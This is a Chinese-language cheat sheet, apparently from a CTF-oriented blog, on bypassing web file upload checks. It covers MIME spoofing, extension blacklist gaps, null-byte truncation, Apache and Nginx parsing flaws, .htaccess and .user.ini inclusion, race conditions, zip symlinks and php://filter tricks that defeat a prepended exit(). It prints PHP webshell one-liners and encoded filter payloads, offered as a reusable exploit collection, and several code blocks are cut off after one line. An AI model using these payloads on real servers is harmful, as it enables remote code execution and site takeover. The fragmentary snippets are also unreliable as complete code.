文件上传备忘录
0x01 文件上传-前端拦截 | 懂得都懂,前端拦截=无效操作
js检查代码
1 | //upload-labs level1 |
传个正常图,然后抓包修改就行了。
0x02 文件上传-后端校验MINE | 懂的都懂,还是无效操作
只校验MIME
1 | $_FILES['upload_file']['type'] == 'image/jpeg') |
无效操作,直接修改就完事了
常见MIMETYPE
audio/mpeg -> .mp3 application/msword -> .doc application/octet-stream -> .exe application/pdf -> .pdf application/x-javascript -> .js application/x-rar -> .rar application/zip -> .zip image/gif -> .gif image/jpeg -> .jpg / .jpeg image/png -> .png text/plain -> .txt text/html -> .html video/mp4 -> .mp4
0x03 文件上传-扩展名校验 | 你这waf保熟吗?
姿势1: 黑名单校验,但黑名单不全
其他后缀:*.php
、*.php3
、*.php4
、*.PHP
、*.phtml
、*.pht
姿势2: 白名单校验,但是有解析漏洞
截断绕过
/?upload=shell.php%00.jpg -> /?upload=shell.php
解析漏洞
Apache
服务器代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其它后缀的,例如在httpd.conf中如果配置有如下代码,则能够解析php和phtml文件
AddType application/x-httpd-php .php .phtml
在Apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止。因此,例如上传的文件名为1.php.xxxx,因为后缀xxxx不可解析,所以向左解析后缀php。
例如:shell.php.qwe.asd ->shell.php
Nginx
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过 正则匹配设置SCRIPT_FILENAME。当访问www.xxx.com/phpinfo.jpg/1.php这个 URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成 SCRIPT_FILENAME传递给PHP CGI。
原因是开启了 fix_pathinfo 这个选项,会触发 在PHP中的如下逻辑: PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会 将phpinfo.jpg作为PHP文件来解析了。
- 形式: www.xxxx.com/UploadFiles/image/1.jpg/1.php www.xxxx.com/UploadFiles/image/1.jpg%00.php www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
- 另一种方法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
0x04 文件上传-内容检测 | 这文件要是有长有短,我直接吃了它
1.magic number | 你不劈开这文件咋知道它熟不熟啊
magic number,它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。
1 | GIF89a |
2.过滤<?以及php
= @eval($_POST['cmd']);?>//需要php.ini开启短标签
3.正则替换
老生常谈,双写 or 其他
4.二次渲染 | 你TM劈我文件是吧
对渲染/加载测试的攻击方式是代码注入绕过。使用winhex在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般为图片的注释区。
对二次渲染的攻击方式就是攻击文件加载器自身
0x05文件上传-配置文件 | 看,吸铁石
.htaccess
只是适用于apache,如果变成niginx或者iis则不会被解析
文件上传漏洞之.htaccess
.htaccess文件(“分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令将受到限制。管理员可以通过Apache的AllowOverride指令来设置。
具体实现:
1、上传.htaccess文件至服务器上传目录,此时apache在解析该目录下的php时将按照文件要求。只要文件名匹配到所定义的字符串,就会将该文件当作php解析。
1 | <FilesMatch "shana"> |
2、上传.htaccess文件设置的关键字的文件名,即上传一个黑名单没有过滤的随意后缀名文件,但文件名中一定要包含shana,如”shana.jpg”,内容为一句话木马。此时”shana.jpg”会被Apache当作php解析。
.user.ini
很通用
1 | //.user.ini |
会自动包含xxx
系统特性
仅适用windows平台
windows 系统会自动删
源码一开天地灭,选择视窗保平安
0x06 文件上传-条件竞争 | 你是故意来找猹?
文件能传,但是传进去后就给你删了,通常情况下需要一边传一边访问,或者利用环境,让php迟一点删文件
0x07 文件上传-解压报错 | 你这压缩包是金子做的还是文件是金子做的
这种情况要求比较高了,需要后端解压压缩包
Dest0g3 520迎新赛 ezip
原理:创建一个解压到一半会报错的文件,然后遗留shell文件getshell
0x08 文件上传-软连接
传快捷方式进去,离谱
要求后端会解压文件
ln -s /flag flag
zip -y flag.zip flag
0x09 文件上传-死亡exit | TMD刁民,敢杀我的马?
情况一 file_put_contents($filename,”<?php exit();”.$content);
编码绕过,base64
rot13
balabalafilename=php://filter/convert.base64-decode/resource=shell.php
或者写到.htaccess
1 | filename=php://filter/write=string.strip_tags/resource=.htaccess |
情况二 file_put_contents($content,”<?php exit();”.$content);
rot13content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php
二次编码
1 |
|
过滤器嵌套content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php
base64编码content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php
第三种情况 file_put_contents($content,”“.\nxxxxx);
``
NaN upload-exp 这里放一些常用的文件上传,会继续更新
1.前端文件上传
1 | <form id="upload-form" action="目标网站" method="post" enctype="multipart/form-data" > |
后端接收代码
1 | if (isset($_POST['submit'])) { |
**注:**前端的<input type="file" id="upload_file" name="upload_file" />
中name=upload_file
对应后端代码的$_FILES['upload_file']
,前端的<input type="submit" name="submit" value="上传" />
中name="submit"
对应后端代码的isset($_POST['submit'])
,实战环境中还是需要对具体环境进行一些修改
2. .htaccess文件
1 | <FilesMatch "shana"> |
3. .user.ini文件
1 | auto_prepend_file=xxx |
鲁棒性非常好,甚至可以
1 | GIF89a |
自动包含xxx
Refence:
狼组安全团队公开知识库
upload-labs通关攻略
文件上传总结
文件上传漏洞之.htaccess
.user.ini导致文件上传绕过
php死亡exit()绕过
关于file_put_contents的一些小测试